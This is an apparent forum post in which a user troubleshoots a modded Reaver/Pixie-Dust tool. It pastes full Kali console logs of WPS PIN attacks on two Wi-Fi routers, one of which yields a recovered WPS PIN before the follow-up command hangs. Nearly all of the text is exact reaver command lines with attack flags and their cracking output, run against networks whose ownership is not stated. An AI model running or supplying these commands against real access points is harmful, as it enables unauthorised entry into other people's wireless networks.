No segmentation fault for me, however

If no pin found ok, then exit
Code:
root@kali:~# reaver -i wlan3mon -b C4:.............. -vv -a -K3 -P

Reaver v1.5.1 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <[email protected]>
mod by t6_x <[email protected]>
mod by DataHead

[+] p1_index set to 1
[+] p2_index set to 0
[+] Restored previous session
[+] Waiting for beacon from C4:..............
[+] Switching wlan3mon to channel 1
[+] Switching wlan3mon to channel 2
[+] Switching wlan3mon to channel 3
[+] Switching wlan3mon to channel 4
[+] Switching wlan3mon to channel 5
[+] Switching wlan3mon to channel 6
[+] Associated with C4:.............. (ESSID: TP-*********)
[+] Starting Cracking Session. Pin count: 1, Max pin attempts: 11000
[+] Trying pin 00005678.
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[P] E-Nonce: dc:71:07:21:ab:fd:d2:8e:9a:63:b0:1c:e3:43:2f:6e
[P] PKE: 7b:4b:4f:84:3c:94:ef:c9:64:39:c8:f6:43:3d:ce:24:8f:c7:5a:f1:c8:49:e4:b0:29:35:e0:d4:e9:10:ee:a4:85:c6:07:50:98:cf:49:18:a7:31:c3:85:2a:cd:ec:82:57:fd:f6:60:8c:78:18:2b:d4:39:95:04:d8:73:ac:43:60:d9:4d:06:ae:b9:0f:62:47:a6:f9:70:80:79:7d:45:3f:0a:00:fb:d0:44:f2:f7:5b:62:12:5d:7f:ce:4d:e4:5c:d3:47:10:9a:f7:5c:8b:46:a7:93:dc:04:4f:15:7e:e4:3a:77:20:b4:a4:45:a4:6b:9b:a5:61:c0:e9:c3:55:bc:e3:39:8e:82:df:24:1f:15:e7:f1:a9:86:6e:b7:7a:35:a5:26:5a:28:ef:0e:94:39:2c:18:ce:ca:3d:93:a5:b3:a5:80:f3:e7:33:13:ec:88:9c:60:69:b7:04:14:ca:d2:07:b1:7c:cf:67:43:72:0a:66:65:29:90:bf:59:94
[P] WPS Manufacturer: TP-LINK
[P] WPS Model Number: 1.0
[+] Received M1 message
[P] PKR: b9:de:9f:be:19:9a:92:78:4b:fc:b1:0f:dc:0d:5b:db:e6:b2:85:c6:96:1d:f1:93:66:59:06:53:7d:62:01:7d:bf:96:3c:8e:ed:c8:e6:08:f1:4a:48:c2:a5:f6:08:51:8e:1b:01:38:69:b0:d4:cd:d9:ef:1d:f0:4e:82:46:b3:cf:19:aa:1c:2e:e5:dc:4e:10:7c:71:c3:69:77:32:fe:2f:27:dc:d9:0e:20:2f:64:55:2d:58:d0:79:ee:dd:7d:70:04:13:62:3f:c3:39:c0:32:f5:83:3c:80:ba:b6:b6:37:9b:89:12:05:65:52:65:ac:e4:1f:fb:2c:31:aa:da:d4:f3:36:b1:04:2e:e0:a8:bd:4d:68:ca:13:98:2b:32:eb:81:ee:7c:e8:8d:ae:95:6e:06:08:4c:b2:f6:cc:26:c7:7a:7b:e3:03:f5:17:30:8a:c7:22:93:5c:79:d9:11:d0:73:8c:37:44:72:33:70:49:c6:ba:3d:0c:50:56:42
[P] AuthKey: c9:6a:f4:8d:ea:95:40:09:31:59:15:ee:fd:8c:f4:84:2b:e7:6c:b1:89:8f:80:c8:a4:85:71:d4:57:e8:b5:75
[+] Sending M2 message
[P] E-Hash1: 32:2d:a3:b9:96:e3:a6:5e:92:ad:93:33:9a:08:00:d9:be:87:b8:a1:ee:9d:70:6f:c3:5d:2e:91:63:ab:d6:dc
[P] E-Hash2: 55:95:0f:16:3c:33:bb:c8:31:2f:ff:f6:c3:45:09:ee:e3:ba:f9:d6:f9:15:c0:36:69:3b:1c:e2:9d:f8:cd:25
[Pixie-Dust]  
[Pixie-Dust]   [-] WPS pin not found!
[Pixie-Dust]  
[Pixie-Dust]   [*] Time taken: 0 s
[Pixie-Dust]
But if pin found, hangs
Code:
root@kali:~# reaver -i wlan3mon -b 8C:.......... -vv -a -K3 -P

Reaver v1.5.1 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <[email protected]>
mod by t6_x <[email protected]>
mod by DataHead

[+] Waiting for beacon from 8C:..........
[+] Switching wlan3mon to channel 1
[+] Switching wlan3mon to channel 2
[+] Switching wlan3mon to channel 3
[+] Switching wlan3mon to channel 4
[+] Switching wlan3mon to channel 5
[+] Switching wlan3mon to channel 6
[+] Switching wlan3mon to channel 7
[+] Switching wlan3mon to channel 9
[+] Associated with 8C:.......... (ESSID: TG167*****)
[+] Starting Cracking Session. Pin count: 0, Max pin attempts: 11000
[+] Trying pin 12345670.
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] Trying pin 12345670.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[P] E-Nonce: 2c:62:2f:3c:6f:e9:d4:75:92:a3:d3:e4:59:a0:92:bc
[P] PKE: db:4c:8c:5d:1c:61:a0:b5:dd:4c:4b:6a:0a:59:02:c2:46:af:29:53:d4:14:77:9e:b4:0f:48:bc:95:40:6e:ed:e4:9a:08:46:29:78:a4:fe:6a:e2:45:65:73:cf:01:b1:4c:34:60:fa:87:30:7b:d2:6a:7a:fc:7d:7d:2f:8e:55:ab:43:e7:e9:87:31:2a:dc:08:e6:3e:2b:d3:80:93:ab:5c:c4:c5:93:07:6d:19:85:f1:39:56:55:6b:93:bb:ce:09:72:e6:b5:76:00:bb:ea:f7:04:ad:2d:71:83:2a:21:a5:dd:68:1f:dc:a4:88:6b:8c:8a:4d:39:a0:53:a1:3c:2c:c5:15:4c:15:03:db:f7:01:e6:fd:22:05:17:0d:86:07:44:c7:18:8c:9d:b7:fc:13:8a:0c:01:7b:38:c8:ca:05:99:e3:1f:4a:07:10:9b:19:b5:03:02:56:32:30:1a:57:b5:db:92:48:c1:f3:3e:45:e8:60:c4:ef:2e:87:79
[P] WPS Manufacturer: Celeno Communication, Inc.
[P] WPS Model Number: CL1800
[+] Received M1 message
[P] PKR: 04:10:d7:4d:a0:29:b4:8e:00:85:85:47:cd:bc:5f:84:da:c0:c8:4a:f2:36:8c:56:5c:00:28:a8:90:31:14:11:0e:24:d8:e2:fe:8f:58:db:8c:f1:28:f9:e3:81:f7:93:2a:2e:10:3c:f5:ec:55:ba:95:a0:87:73:c6:83:00:f2:1f:e0:00:80:6c:c9:1f:5c:76:6f:27:df:c9:25:21:58:e5:24:c8:26:80:67:d4:18:ab:68:79:bd:06:ac:b9:0b:7d:75:68:52:99:0c:c3:1c:30:1c:80:a1:c1:49:5a:29:b6:ac:98:b5:b6:c3:c4:fe:67:80:02:ae:9f:f7:ef:34:41:02:39:e5:f6:6b:ec:73:19:b5:be:75:ed:ed:ac:d6:e4:0c:68:7a:b8:a7:a6:fe:98:9e:7f:00:3a:78:b3:69:df:9c:13:fc:8f:50:58:01:31:5a:1b:8c:81:5d:47:99:1b:d9:0a:8b:b0:49:6f:9b:1a:af:25:31:c5:10:13:8c
[P] AuthKey: eb:35:cb:40:af:86:fd:1d:8d:bb:2e:8b:82:f8:02:e5:3d:19:3b:9d:6a:2d:52:d2:97:49:dd:97:48:e6:41:db
[+] Sending M2 message
[P] E-Hash1: b9:76:ae:bd:db:d4:18:bc:2d:31:2f:24:02:d5:c4:a6:82:15:2e:00:da:de:98:dd:4e:a9:bd:fc:ee:b4:bc:cd
[P] E-Hash2: a3:9b:6a:34:d8:39:7f:9e:07:21:68:b3:67:ed:82:42:08:61:e4:25:96:6d:4d:93:d6:ba:1f:38:aa:3f:09:0f
[Pixie-Dust]  
[Pixie-Dust]   [*] ES-1: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
[Pixie-Dust]   [*] ES-2: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
[Pixie-Dust]   [*] PSK1: b5:33:92:d2:5f:d2:d3:4a:ae:cb:81:db:c9:f6:63:a6
[Pixie-Dust]   [*] PSK2: bb:f8:7f:74:54:1c:8b:74:e8:2a:3f:d3:c2:57:4e:36
[Pixie-Dust]   [+] WPS pin: 50..........
[Pixie-Dust]  
[Pixie-Dust]   [*] Time taken: 0 s
[Pixie-Dust]  
Running the reaver with the correct pin, wait ...
Cmd : reaver -i wlan3mon -b 8C:09:F4:.......:00 -c 9 -s y -p 50..........

[Reaver Test] BSSID: 8C:09:00:11:00:11
[Reaver Test] Channel: 9
hangs there